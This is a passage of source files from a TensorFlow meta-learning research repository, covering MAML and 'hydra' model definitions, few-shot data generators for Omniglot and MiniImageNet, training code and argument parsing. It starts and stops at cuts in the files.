weights['scale2'] = tf.get_variable('scale', [64], initializer=tf.ones_initializer() )\n \n weights['mean3'] = tf.get_variable('mean', [64], initializer=tf.zeros_initializer())\n weights['variance3'] = tf.get_variable('variance',[64], initializer=tf.ones_initializer() )\n weights['offset3'] = tf.get_variable('offset', [64], initializer=tf.zeros_initializer())\n weights['scale3'] = tf.get_variable('scale', [64], initializer=tf.ones_initializer() )\"\"\"\n print(\"Done Creating/loading Weights\")\n return weights, cells\n \n def forward(self,x,weights, training):\n conv1 = self.conv_layer(x, weights[\"c_1\"],weights[\"cb_1\"],\"conv1\")\n conv1 = tf.layers.batch_normalization(conv1, name=\"bn1\", reuse=tf.AUTO_REUSE)\n conv1 = tf.nn.relu(conv1)\n conv1 = tf.layers.MaxPooling2D(2,2)(conv1)\n \n conv2 = self.conv_layer(conv1,weights[\"c_2\"],weights[\"cb_2\"],\"conv2\")\n conv2 = tf.layers.batch_normalization(conv2, name=\"bn2\", reuse=tf.AUTO_REUSE)\n conv2 = tf.nn.relu(conv2)\n conv2 = tf.layers.MaxPooling2D(2,2)(conv2)\n \n conv3 = self.conv_layer(conv2,weights[\"c_3\"],weights[\"cb_3\"],\"conv3\")\n conv3 = tf.layers.batch_normalization(conv3, name=\"bn3\", reuse=tf.AUTO_REUSE)\n conv3 = tf.nn.relu(conv3)\n conv3 = tf.layers.MaxPooling2D(2,2)(conv3)\n \n conv4 = self.conv_layer(conv3,weights[\"c_4\"],weights[\"cb_4\"],\"conv4\")\n conv4 = tf.layers.batch_normalization(conv4, name=\"bn4\", reuse=tf.AUTO_REUSE)\n conv4 = tf.nn.relu(conv4)\n conv4 = tf.layers.MaxPooling2D(2,2)(conv4)\n # print(conv4)\n# bn = tf.squeeze(conv4,axis=(1,2))\n bn = tf.layers.Flatten()(conv4)\n # tf.reshape(bn, [3244,234])\n\n fc1 = self.fc_layer(bn,\"dense1\",weights[\"d_1\"],weights[\"b_1\"])\n# bn = tf.reshape(bn,[-1,])\n return fc1" }, { "alpha_fraction": 0.439281165599823, "alphanum_fraction": 0.4519876539707184, "avg_line_length": 50.00925827026367, "blob_id": "d506142a3bf155f4b6f76075604306ff321cf783", "content_id": "b085a09812382a04f502602b5afddb6a841f5412", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5509, "license_type": "no_license", "max_line_length": 162, "num_lines": 108, "path": "/train.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nfrom data_gen.omni_gen import unison_shuffled_copies,OmniChar_Gen, MiniImgNet_Gen\nimport time\n\ndef train( m, mt, # m is the model foir training, mt is the model for testing\n data_sampler, # Creates the data generator for training and testing\n min_classes, # minimum amount of classes\n max_classes, # maximum || || ||\n train_shots, # number of samples per class (train)\n test_shots, # number of samples per class (test)\n meta_batch, # Number of tasks\n meta_iters, # Number of iterations\n test_iters, # Iterations in Test\n train_step,\n name): # Experiment name for experiments\n \n sess = tf.Session()\n sess.run(tf.global_variables_initializer())\n # bnorms = [v for v in tf.global_variables() if \"bn\" in v.name]\n #---------Performance Tracking lists---------------------------------------\n losses = []\n temp_yp = []\n temp_ypn= []\n nls = []\n aps = []\n buffer = []\n lossesB = []\n #--------------------------------------------------------------------------\n\n #---------Load train and test data-sets------------------------------------\n train_gen = data_sampler.sample_Task(meta_batch,min_classes,max_classes+1,train_shots,test_shots,\"train\")\n if mt is not None:\n test_gen = data_sampler.sample_Task(meta_batch,min_classes,max_classes+1,train_shots,test_shots,\"test\" )\n m.loadWeights(sess, name, step=str(int(train_step)), model_name=name+\".ckpt\")\n #--------------------------------------------------------------------------\n\n #TRAIN LOOP\n print(\"Starting meta training:\")\n start = time.time()\n for i in range(meta_iters):\n\n xb1,yb1,xb2,yb2 = next(train_gen)\n num_l = [len(np.unique(np.argmax(yb1,axis=-1)))]\n\n if m.maml_n == 2: # in case it uses hydra master node, it should re-assign the output nodes from the master\n sess.run(m.init_assign, feed_dict={m.label_n:[5]})\n l,_,vals,ps=sess.run([m.train_loss,m.meta_op,m.val_losses,m.val_predictions],feed_dict={m.train_xb: xb1,\n m.train_yb: yb1,\n m.val_xb:xb2,\n m.val_yb:yb2,\n m.label_n:num_l})\n if m.maml_n == 2: # in case it uses hydra master node, it should update the master\n sess.run(m.final_assign,feed_dict={m.label_n:num_l})\n\n losses.append(vals)\n lossesB.append(vals)\n buffer.append(l)\n\n #Calculate accuaracies\n aux = []\n tmp_pred = np.argmax(np.reshape(ps[-1],[-1,num_l[0]]),axis=-1)\n tmp_true = np.argmax(np.reshape(yb2,[-1,num_l[0]]),axis=-1)\n for ccci in range(num_l[0]):\n tmp_idx = np.where(tmp_true==ccci)[0]\n #print(tmp_idx)\n aux.append(np.mean(tmp_pred[tmp_idx]==tmp_true[tmp_idx]))\n temp_yp.append(np.mean(tmp_pred==tmp_true))\n temp_ypn.append(aux)\n\n #EVALUATE and PRINT\n if i%100==0:\n testString = \"\"\n #If we give a test model, it will test using the weights from train\n if mt is not None and i%1000==0:\n lossestest = []\n buffertest = []\n lossesBtest = []\n temp_yptest = []\n for z in range(100):\n if m.maml_n == 2:\n sess.run(mt.init_assign, feed_dict={mt.label_n:[5]})\n xb1,yb1,xb2,yb2 = next(test_gen)\n num_l = [len(np.unique(np.argmax(yb1,axis=-1)))]\n l,vals,ps=sess.run([mt.test_train_loss,mt.test_val_losses,mt.val_predictions],feed_dict={mt.train_xb: xb1,\n mt.train_yb: yb1,\n mt.val_xb:xb2,\n mt.val_yb:yb2,\n mt.label_n:num_l})\n lossestest.append(vals)\n lossesBtest.append(vals)\n buffertest.append(l)\n temp_yptest.append(np.mean(np.argmax(ps[-1],axis=-1)==np.argmax(yb2,axis=-1)))\n \n testString = f\"\\n TEST: TLoss {np.mean(buffertest):.3f} VLoss {np.mean(lossesBtest,axis=0)[-1]:.3f}, ACCURACY {np.mean(temp_yptest):.4f}\"\n print(f\"Epoch {i}: TLoss {np.mean(buffer):.4f}, VLoss {np.mean(lossesB,axis=0)[-1]:.4f},\",\n f\"Accuracy {np.mean(temp_yp):.4}\", f\", Per label acc: {[float('%.4f' % elem) for elem in aux]}\", f\"Finished in {time.time()-start}s\",testString)\n\n buffer = []\n lossesB = []\n temp_yp = []\n start = time.time()\n # f\"\\n TRUE: {yb2}\\n PRED: {ps}\")\n if i%5000==0:\n print(\"Saving...\")\n m.saveWeights(sess, name, i, model_name=name+\".ckpt\")\n\n m.saveWeights(sess, name, i, model_name=name+\".ckpt\")\n" }, { "alpha_fraction": 0.5714056491851807, "alphanum_fraction": 0.5794287323951721, "avg_line_length": 44.83088302612305, "blob_id": "b55851c925a5055a05e8c452089fac448db3d8a7", "content_id": "3099a95c943825c297d06f4695b84349a64ef4ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6232, "license_type": "no_license", "max_line_length": 140, "num_lines": 136, "path": "/archs/maml.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "# ADAPTED BY Rafael Rego Drumond and Lukas Brinkmeyer\n# THIS IMPLEMENTATION USES THE CODE FROM: https://github.com/dragen1860/MAML-TensorFlow\n\nimport os\nimport numpy as np\nimport tensorflow as tf\n\nclass MAML:\n def __init__(self,train_lr,meta_lr,image_shape, isMIN, label_size=2):\n self.train_lr = train_lr\n self.meta_lr = meta_lr\n self.image_shape = image_shape\n self.isMIN = isMIN\n self.saver = None\n self.label_size = label_size\n self.finals = 64\n self.maml_n = 1\n if isMIN:\n self.finals = 800\n def build(self, K, meta_batchsz, mode='train'):\n \n # Meta batch of tasks \n self.train_xb = tf.placeholder(tf.float32, [None,None,None,None,self.image_shape[-1]])\n self.train_yb = tf.placeholder(tf.float32, [None,None,None])\n self.val_xb = tf.placeholder(tf.float32, [None,None,None,None,self.image_shape[-1]])\n self.val_yb = tf.placeholder(tf.float32, [None,None,None])\n self.label_n = tf.placeholder(tf.int32 , 1, name=\"num_labs\") \n #Initialize weights\n self.weights, self.cells = self.dense_weights()\n training = True if mode is 'train' else False\n \n # Handle one task update\n def meta_task(inputs):\n train_x, train_y, val_x, val_y = inputs\n val_preds, val_losses = [], []\n\n train_pred = self.forward(train_x, self.weights, training)\n train_loss = tf.losses.softmax_cross_entropy(train_y,train_pred)\n \n grads = tf.gradients(train_loss, list(self.weights.values()))\n gvs = dict(zip(self.weights.keys(), grads))\n \n a=[self.weights[key] - self.train_lr * gvs[key] for key in self.weights.keys()]\n# for key in self.weights.keys():\n# print(key, gvs[key])\n fast_weights = dict(zip(self.weights.keys(),a))\n\n # Validation after each update\n val_pred = self.forward(val_x, fast_weights, training)\n val_loss = tf.losses.softmax_cross_entropy(val_y,val_pred)\n # record T0 pred and loss for meta-test\n val_preds.append(val_pred)\n val_losses.append(val_loss)\n \n # continue to build T1-TK steps graph\n for _ in range(1, K):\n \n # Update weights on train data of task t\n loss = tf.losses.softmax_cross_entropy(train_y,self.forward(train_x, fast_weights, training))\n grads = tf.gradients(loss, list(fast_weights.values()))\n gvs = dict(zip(fast_weights.keys(), grads))\n fast_weights = dict(zip(fast_weights.keys(), [fast_weights[key] - self.train_lr * gvs[key] for key in fast_weights.keys()]))\n \n # Evaluate validation data of task t\n val_pred = self.forward(val_x, fast_weights, training)\n val_loss = tf.losses.softmax_cross_entropy(val_y,val_pred)\n val_preds.append(val_pred)\n val_losses.append(val_loss)\n\n result = [train_pred, train_loss, val_preds, val_losses]\n\n return result\n \n out_dtype = [tf.float32, tf.float32,[tf.float32] * K, [tf.float32] * K]\n result = tf.map_fn(meta_task, elems=(self.train_xb, self.train_yb, self.val_xb, self.val_yb),\n dtype=out_dtype, parallel_iterations=meta_batchsz, name='map_fn')\n train_pred_tasks, train_loss_tasks, val_preds_tasks, val_losses_tasks = result\n\n if mode is 'train':\n self.train_loss = train_loss = tf.reduce_sum(train_loss_tasks) / meta_batchsz\n self.val_losses = val_losses = [tf.reduce_sum(val_losses_tasks[j]) / meta_batchsz for j in range(K)]\n self.val_predictions = val_preds_tasks\n \n optimizer = tf.train.AdamOptimizer(self.meta_lr, name='meta_optim')\n gvs = optimizer.compute_gradients(self.val_losses[-1])\n gvs = [(tf.clip_by_norm(grad, 10), var) for grad, var in gvs]\n self.meta_op = optimizer.apply_gradients(gvs)\n\n else: \n self.test_train_loss = train_loss = tf.reduce_sum(train_loss_tasks) / meta_batchsz\n self.test_val_losses = val_losses = [tf.reduce_sum(val_losses_tasks[j]) / meta_batchsz for j in range(K)]\n self.val_predictions = val_preds_tasks\n\n self.saving_weights = tf.trainable_variables()\n def conv_layer(self, x, W, b, name, strides=1):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n x = tf.nn.conv2d(x, W, strides=[1,1,1,1], padding='SAME')\n x = tf.nn.bias_add(x, b)\n return x\n\n def fc_layer(self,x, name, weights=None, biases=None):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n fc = tf.matmul(x, weights)\n fc = tf.nn.bias_add(fc, biases)\n return fc\n\n def loadWeights(self, sess, name, step=0, modeldir='./model_checkpoint/', model_name='model.ckpt'):\n if self.saver == None:\n z = self.saving_weights\n #print(\"KEYS:\", z.keys())\n self.saver = tf.train.Saver(var_list=z, max_to_keep=12)\n saver = self.saver\n checkpoint_path = modeldir + f\"{name}/\"+model_name +\"-\" + step\n if os.path.isfile(checkpoint_path+\".marker\"):\n saver.restore(sess, checkpoint_path)\n print('The checkpoint has been loaded.')\n else:\n print(checkpoint_path+\".marker not found. Starting from scratch.\")\n \n def saveWeights(self, sess, name, step=0, modeldir='./model_checkpoint/', model_name='model.ckpt'):\n if self.saver == None:\n z = self.saving_weights\n self.saver = tf.train.Saver(var_list=z, max_to_keep=12)\n saver = self.saver\n checkpoint_path = modeldir + f\"{name}/\"+model_name\n if not os.path.exists(modeldir):\n os.makedirs(modeldir)\n saver.save(sess, checkpoint_path, global_step=step)\n print('The checkpoint has been created.')\n open(checkpoint_path+\"-\"+str(int(step))+\".marker\", 'a').close()\n \n\n def dense_weights(self):\n return\n def forward(self,x,weights, training):\n return" }, { "alpha_fraction": 0.5331655740737915, "alphanum_fraction": 0.5661024451255798, "avg_line_length": 41.86274337768555, "blob_id": "48008f7abe8be7650cb4d2ab58f00e9f354be9a2", "content_id": "12df1fc2f918af2fc8eee29314cef49bf10b4460", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4372, "license_type": "no_license", "max_line_length": 126, "num_lines": 102, "path": "/archs/hydra.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "# ADAPTED BY Rafael Rego Drumond and Lukas Brinkmeyer\n# THIS IMPLEMENTATION USES THE CODE FROM: https://github.com/dragen1860/MAML-TensorFlow\n\nimport numpy as np\nimport tensorflow as tf\nfrom archs.maml2 import MAML\ndef getBin(l=10):\n x_ = 2\n n = 1\n while x_ < l:\n x_ = x_* 2\n n += 1\n \n numbers = []\n for i in range(l):\n num = []\n for j in list('{0:0b}'.format(i+1).zfill(n)):\n num.append(int(j))\n numbers.append(num)\n return numbers\nclass Model(MAML):\n def __init__(self,train_lr,meta_lr,image_shape,isMIN, label_size=2):\n super().__init__(train_lr,meta_lr,image_shape,isMIN, label_size)\n self.finals = 64\n if isMIN:\n self.finals = 800\n def getBin(self, l=10):\n x_ = 2\n n = 1\n while x_ < l:\n x_ = x_* 2\n n += 1\n\n numbers = []\n for i in range(l):\n num = []\n for j in list('{0:0b}'.format(i+1).zfill(n)):\n num.append(int(j))\n numbers.append(num)\n return numbers\n\n def dense_weights(self):\n weights = {}\n cells = {}\n initializer = tf.contrib.layers.xavier_initializer()\n divider = 1\n inic = 1\n filters = 64\n self.finals = 64\n if self.isMIN:\n print(\"\\n\\n\\n\\n\\n\\n\\n\\n\\nIS MIN\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\")\n divider = 2\n inic = 3\n self.finals = 800 \n filters = 32\n with tf.variable_scope('MASTER', reuse= tf.AUTO_REUSE):\n cells['d_1'] = tf.get_variable('MASTER_d_1w', [self.finals,1], initializer = initializer)\n cells['b_1'] = tf.get_variable('MASTER_d_1b', [1], initializer=tf.initializers.constant)\n with tf.variable_scope('MAML', reuse= tf.AUTO_REUSE):\n weights['c_1'] = tf.get_variable('c_1', shape=(3,3, inic,filters), initializer=initializer)\n weights['c_2'] = tf.get_variable('c_2', shape=(3,3,filters,filters), initializer=initializer)\n weights['c_3'] = tf.get_variable('c_3', shape=(3,3,filters,filters), initializer=initializer)\n weights['c_4'] = tf.get_variable('c_4', shape=(3,3,filters,filters), initializer=initializer)\n weights['cb_1'] = tf.get_variable('cb_1', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_2'] = tf.get_variable('cb_2', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_3'] = tf.get_variable('cb_3', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_4'] = tf.get_variable('cb_4', shape=(filters), initializer=tf.initializers.constant)\n for i in range (self.max_labels):\n weights['d_1w'+str(i)] = tf.get_variable('d_1w'+str(i), [self.finals,1], initializer = initializer)\n weights['b_1w'+str(i)] = tf.get_variable('d_1b'+str(i), [1], initializer=tf.initializers.constant)\n \n\n return weights, cells\n\n def forward(self,x,weights, training):\n # with tf.variable_scope('MAML', reuse= tf.AUTO_REUSE):\n conv1 = self.conv_layer(x, weights[\"c_1\"],weights[\"cb_1\"],\"conv1\")\n conv1 = tf.layers.batch_normalization(conv1, name=\"bn1\", reuse=tf.AUTO_REUSE)\n conv1 = tf.nn.relu(conv1)\n conv1 = tf.layers.MaxPooling2D(2,2)(conv1)\n \n conv2 = self.conv_layer(conv1,weights[\"c_2\"],weights[\"cb_2\"],\"conv2\")\n conv2 = tf.layers.batch_normalization(conv2, name=\"bn2\", reuse=tf.AUTO_REUSE)\n conv2 = tf.nn.relu(conv2)\n conv2 = tf.layers.MaxPooling2D(2,2)(conv2)\n \n conv3 = self.conv_layer(conv2,weights[\"c_3\"],weights[\"cb_3\"],\"conv3\")\n conv3 = tf.layers.batch_normalization(conv3, name=\"bn3\", reuse=tf.AUTO_REUSE)\n conv3 = tf.nn.relu(conv3)\n conv3 = tf.layers.MaxPooling2D(2,2)(conv3)\n \n conv4 = self.conv_layer(conv3,weights[\"c_4\"],weights[\"cb_4\"],\"conv4\")\n conv4 = tf.layers.batch_normalization(conv4, name=\"bn4\", reuse=tf.AUTO_REUSE)\n conv4 = tf.nn.relu(conv4)\n conv4 = tf.layers.MaxPooling2D(2,2)(conv4)\n\n bn = tf.layers.Flatten()(conv4)\n\n agg = [self.fc_layer(bn,\"dense\"+str(i),weights[\"d_1w\"+str(i)],weights[\"b_1w\"+str(i)]) for i in range(self.max_labels)]\n fc1 = tf.concat(agg, axis=-1)[:,:self.label_n[0]]\n\n return fc1 " }, { "alpha_fraction": 0.49034205079078674, "alphanum_fraction": 0.4991951584815979, "avg_line_length": 35.08000183105469, "blob_id": "f303728e13c211b5caee3165e27bf6ffb71a8f2a", "content_id": "095073f5689f84f49d58b3c950d1fe903e55d0de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9940, "license_type": "no_license", "max_line_length": 166, "num_lines": 275, "path": "/data_gen/omni_gen.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "import numpy as np\nimport os\nimport cv2\nimport pickle\n\n\n \nclass MiniImgNet_Gen: \n \n def __init__(self,path=\"/tmp/data/miniimagenet\",data_path=None): \n \n if data_path is None:\n self.path = path\n self.train_paths = [\"train/\"+x for x in os.listdir(path+\"/train\")]\n self.test_paths = [\"test/\"+x for x in os.listdir(path+\"/test\")]\n self.val_paths = [\"val/\"+x for x in os.listdir(path+\"/val\")]\n\n self.data_path = data_path\n self.meta_train = None\n self.meta_test = None\n self.meta_val = None\n \n \n def sample_Task(self,mb_size, min_class,max_class,train_size,test_size,training=\"train\",shuffle=True):\n\n print('Loading MiniImagenet data...')\n if training == \"train\": \n if self.meta_train is None: \n meta_data = []\n for idx,im_class in enumerate(self.train_paths):\n meta_data.append(np.array(loadImgDir(self.path+\"/\"+im_class,[84,84],rgb=True)))\n self.meta_train = meta_data\n else:\n meta_data = self.meta_train\n \n\n elif training == \"val\": \n if self.meta_val is None: \n meta_data = []\n for idx,im_class in enumerate(self.val_paths):\n # print(idx)\n meta_data.append(np.array(loadImgDir(self.path+\"/\"+im_class,[84,84],rgb=True)))\n self.meta_val = meta_data\n else:\n meta_data = self.meta_val\n \n\n elif training == \"test\": \n if self.meta_test is None: \n meta_data = []\n for idx,im_class in enumerate(self.test_paths):\n # print(idx)\n meta_data.append(np.array(loadImgDir(self.path+\"/\"+im_class,[84,84],rgb=True)))\n self.meta_test = meta_data\n else:\n meta_data = self.meta_test\n \n else:\n raise ValueError(\"Training needs to be train, val or test\")\n print(f'Finished loading MiniImagenet data: {np.array(meta_data).shape}') \n \n if min_class < 2:\n raise ValueError(\"Minimum number of classes must be >=2\")\n\n \n \n while True:\n\n meta_train_x = []\n meta_train_y = []\n meta_test_x = []\n meta_test_y = []\n \n # sample fixed number classes for a meta batch\n nr_classes = np.random.randint(min_class,max_class)\n \n \n for mb in range(mb_size):\n\n # select which classes in the meta batch\n classes = np.random.choice(range(len(meta_data)),nr_classes,replace=False)\n train_x = []\n train_y = []\n test_x = []\n test_y = []\n \n for label_nr,cl in enumerate(classes):\n\n images = np.random.choice(len(meta_data[cl]),train_size+test_size,False)\n train_imgs = images[:train_size]\n test_imgs = images[train_size:]\n \n train_x.append(meta_data[cl][train_imgs])\n test_x.append(meta_data[cl][test_imgs])\n\n train_y.append(np.ones(train_size)*label_nr)\n test_y.append(np.ones(test_size)*label_nr)\n \n \n train_x = np.array(train_x)\n train_y = np.eye(len(classes))[np.reshape(np.array(train_y),-1).astype(int)]\n test_x = np.array(test_x)\n test_y = np.eye(len(classes))[np.reshape(np.array(test_y),-1).astype(int)]\n\n train_x = np.reshape(train_x,[-1,84,84,3])\n test_x = np.reshape(test_x,[-1,84,84,3])\n \n if shuffle:\n train_x,train_y = unison_shuffled_copies(train_x,train_y)\n test_x,test_y = unison_shuffled_copies(test_x,test_y)\n \n meta_train_x.append(train_x)\n meta_train_y.append(train_y)\n meta_test_x.append(test_x)\n meta_test_y.append(test_y) \n # print('YIEEEEEEELDING')\n yield meta_train_x,meta_train_y,meta_test_x,meta_test_y\n\n\n\n# Initiates the Omniglot dataset and splits into meta train and meta task\nclass OmniChar_Gen:\n \n def __init__(self,path=\"/tmp/data/omniglot\",data_path=None,test_idx=None):\n\n self.path = path\n self.tasks = [\"/images_background/\"+x for x in os.listdir(path+\"/images_background\")]+[\"/images_evaluation/\"+x for x in os.listdir(path+\"/images_evaluation\")]\n \n \n self.lens = {}\n for task in self.tasks:\n self.lens[task] = len(os.listdir(self.path+task))\n \n self.meta_data = []\n print(\"Loading Omniglot data\")\n for idx,task in enumerate(range(len(self.tasks))):\n if idx%10==0:\n print(f\"Loading tasks {idx}/{len(self.tasks)}\")\n data = []\n for char in os.listdir(self.path+self.tasks[task]):\n c = []\n\n for img in os.listdir(self.path+self.tasks[task]+\"/\"+char):\n c.append(readImg(self.path+self.tasks[task]+\"/\"+char+\"/\"+img))\n\n data.append(c)\n \n self.meta_data.append(data)\n self.meta_data = np.concatenate(self.meta_data)\n\n print(\"Finished loading data\")\n if test_idx==None:\n self.train_idx = list(range(len(self.meta_data)))\n np.random.shuffle(self.train_idx)\n self.test_idx = self.train_idx[1200:]\n self.train_idx = self.train_idx[:1200]\n print(\"Test_idx:\",self.test_idx)\n else:\n self.test_idx = test_idx\n self.train_idx = list(set(list(range(len(self.meta_data)))) - set(self.test_idx))\n \n # Builds a generator that samples meta batches from meta training/test data\n def sample_Task(self,mb_size, min_class,max_class,train_size,test_size,training=\"train\",shuffle=True):\n \n if training == \"train\":\n idx = self.train_idx\n elif training == \"test\":\n idx = self.test_idx\n else:\n \traise ValueError(\"Omniglot only supports train and test for training param\")\n \n if min_class < 2:\n raise ValueError(\"Minimum number of classes must be >=2\")\n ## We can remove this later and make it dynamic\n\n while True:\n \n image_idx = idx.copy()\n np.random.shuffle(image_idx)\n \n meta_train_x = []\n meta_train_y = []\n meta_test_x = []\n meta_test_y = []\n \n # Roll number of classes in the mb\n nr_classes = np.random.randint(min_class,max_class)\n\n for task in range(mb_size):\n \n train_x = []\n train_y = []\n test_x = []\n test_y = []\n # Sample the characters for the task\n chars = np.random.choice(image_idx,nr_classes,False)\n\n # Sample the shots for each character\n for label_nr,char in enumerate(chars):\n images = np.random.choice(range(20),train_size+test_size,False)\n train_imgs = images[:train_size]\n test_imgs = images[train_size:]\n \n train_x.append(self.meta_data[char][train_imgs])\n test_x.append(self.meta_data[char][test_imgs])\n\n train_y.append(np.ones(train_size)*label_nr)\n test_y.append(np.ones(test_size)*label_nr)\n \n train_x = np.array(train_x)\n train_y = np.eye(len(chars))[np.reshape(np.array(train_y),-1).astype(int)]\n test_x = np.array(test_x)\n test_y = np.eye(len(chars))[np.reshape(np.array(test_y),-1).astype(int)]\n\n train_x = np.reshape(train_x,[-1,28,28,1])\n test_x = np.reshape(test_x,[-1,28,28,1])\n if shuffle:\n train_x,train_y = unison_shuffled_copies(train_x,train_y)\n test_x,test_y = unison_shuffled_copies(test_x,test_y)\n \n meta_train_x.append(train_x)\n meta_train_y.append(train_y)\n meta_test_x.append(test_x)\n meta_test_y.append(test_y)\n \n yield meta_train_x,meta_train_y,meta_test_x,meta_test_y\n \ndef getOrder(minClass,maxClass,mb_size,number_chars=1200):\n # gives a list integers between minClass and maxClass that sum up to 1200, \n lens = []\n sums = 0\n while sums<=number_chars-minClass*mb_size:\n maxV = int((number_chars-sums)/mb_size)+1\n \n n=np.random.randint(minClass,min(maxV,maxClass))\n \n lens += [n]*mb_size\n sums = sums+(n*mb_size) \n return lens\n \ndef readImg(path,size=[28,28],rgb=False):\n \n img = cv2.imread(path)\n img = cv2.resize(img,(size[0],size[1])).astype(float)\n if np.max(img)>1.0:\n img /= 255.\n \n if not rgb:\n return img[:,:,:1]\n else: \n\n if len(img.shape)==3:\n if img.shape[-1]!=3:\n print('ASFASFASFAS')\n print(img.shape)\n print(path)\n return img\n else:\n return np.reshape([img,img,img],[size[0],size[1],3])\n\n\ndef unison_shuffled_copies(a, b):\n assert len(a) == len(b)\n p = np.random.permutation(len(a))\n return a[p], b[p]\n\n \ndef loadImgDir(path,size,rgb):\n \n imgs = []\n \n for img in os.listdir(path):\n \n imgs.append(readImg(path+\"/\"+img,size,rgb))\n return imgs\n \n \n " }, { "alpha_fraction": 0.6071500778198242, "alphanum_fraction": 0.6168450713157654, "avg_line_length": 50.05154800415039, "blob_id": "8b94b76f95e6ee7727a2095089b1cbfda0857912", "content_id": "81e05956430e510888070ce6c8d4ce3bcedf62d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4951, "license_type": "no_license", "max_line_length": 124, "num_lines": 97, "path": "/args.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "\"\"\"\nCommand-line argument parsing.\n\"\"\"\n\nimport argparse\n#from functools import partial\n\nimport time\nimport tensorflow as tf\nimport json\nimport os\n\ndef boolean_string(s):\n if s not in {'False', 'True'}:\n raise ValueError('Not a valid boolean string')\n return s == 'True'\n\ndef argument_parser():\n \"\"\"\n Get an argument parser for a training script.\n \"\"\"\n file_time = int(time.time())\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--arch', help='name architecture', default=\"fcn\", type=str)\n parser.add_argument('--seed', help='random seed', default=0, type=int)\n parser.add_argument('--name', help='name add-on', type=str, default='Model_config-'+str(file_time))\n parser.add_argument('--dataset', help='data set to evaluate on', type=str, default='Omniglot')\n parser.add_argument('--data_path', help='path to data folder', type=str, default='/home/')\n parser.add_argument('--config', help='json config file', type=str, default=None)\n parser.add_argument('--checkpoint', help='checkpoint directory', default='model_checkpoint')\n parser.add_argument('--test', help='Testing or Not', action='store_true')\n parser.add_argument('--testintrain', help='Testing during train or Not', action='store_true')\n parser.add_argument('--min_classes', help='minimum number of classes for n-way', default=2, type=int)\n parser.add_argument('--max_classes', help='maximum (excluded) number of classes for n-way', default=2, type=int)\n parser.add_argument('--ttrain_shots', help='number of examples per class in meta train', default=5, type=int)\n parser.add_argument('--ttest_shots', help='number of examples per class in meta test', default=15, type=int)\n parser.add_argument('--etrain_shots', help='number of examples per class in meta train', default=5, type=int)\n parser.add_argument('--etest_shots', help='number of examples per class in meta test', default=15, type=int)\n parser.add_argument('--train_inner_K', help='number of inner gradient steps during meta training', default=5, type=int)\n parser.add_argument('--test_inner_K', help='number of inner gradient steps during meta testing', default=5, type=int)\n parser.add_argument('--learning_rate', help='Adam step size for inner training', default=0.4, type=float)\n parser.add_argument('--meta_step', help='meta-training step size', default=0.01, type=float)\n parser.add_argument('--meta_batch', help='meta-training batch size', default=1, type=int)\n parser.add_argument('--meta_iters', help='meta-training iterations', default=70001, type=int)\n parser.add_argument('--eval_iters', help='meta-training iterations', default=2000, type=int)\n parser.add_argument('--step', help='Checkpoint step to load', default=59999, type=float)\n # python main_emb.py --meta_step 0.005 --meta_batch 8 --learning_rate 0.3 --test --checkpoint Model_config-1568818723\n\n args = vars(parser.parse_args())\n #os.system(\"mkdir -p \" + args['checkpoint'])\n if args['config'] is None:\n args['config'] = f\"{args['checkpoint']}/{args['name']}/{args['name']}.json\"\n print(args['config'])\n # os.system(\"mkdir -p \" + f\"{args['checkpoint']}\")\n os.system(\"mkdir -p \" + f\"{args['checkpoint']}/{args['name']}\")\n with open(args['config'], 'w') as write_file:\n print(\"Json Dumping...\")\n json.dump(args, write_file)\n else:\n with open(args['config'], 'r') as open_file:\n args = json.load(open_file)\n return parser\n\ndef train_kwargs(parsed_args):\n \"\"\"\n Build kwargs for the train() function from the parsed\n command-line arguments.\n \"\"\"\n return {\n 'min_classes': parsed_args.min_classes,\n 'max_classes': parsed_args.max_classes,\n 'train_shots': parsed_args.ttrain_shots,\n 'test_shots': parsed_args.ttest_shots,\n 'meta_batch': parsed_args.meta_batch,\n 'meta_iters': parsed_args.meta_iters,\n 'test_iters': parsed_args.eval_iters,\n 'train_step' : parsed_args.step,\n 'name':\t parsed_args.name,\n\n }\n\ndef test_kwargs(parsed_args):\n \"\"\"\n Build kwargs for the train() function from the parsed\n command-line arguments.\n \"\"\"\n return {\n 'eval_step' : parsed_args.step,\n 'min_classes': parsed_args.min_classes,\n 'max_classes': parsed_args.max_classes,\n 'train_shots': parsed_args.etrain_shots,\n 'test_shots': parsed_args.etest_shots,\n 'meta_batch': parsed_args.meta_batch,\n 'meta_iters': parsed_args.eval_iters,\n 'name': parsed_args.name,\n\n }" }, { "alpha_fraction": 0.4693971574306488, "alphanum_fraction": 0.4818223714828491, "avg_line_length": 39.22222137451172, "blob_id": "25afd333facc2d6b932604a597efddb119b88d73", "content_id": "85dd9f380ccf64fdc4ae230fca9fb32fc091d5cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2173, "license_type": "no_license", "max_line_length": 184, "num_lines": 54, "path": "/test.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nfrom data_gen.omni_gen import unison_shuffled_copies,OmniChar_Gen, MiniImgNet_Gen\n\ndef test(m, data_sampler,\n eval_step,\n min_classes,\n max_classes,\n train_shots,\n test_shots,\n meta_batch,\n meta_iters,\n name):\n \n sess = tf.Session()\n sess.run(tf.global_variables_initializer())\n losses=[]\n\n temp_yp = []\n aps = []\n buffer = []\n lossesB=[]\n\n train_gen = 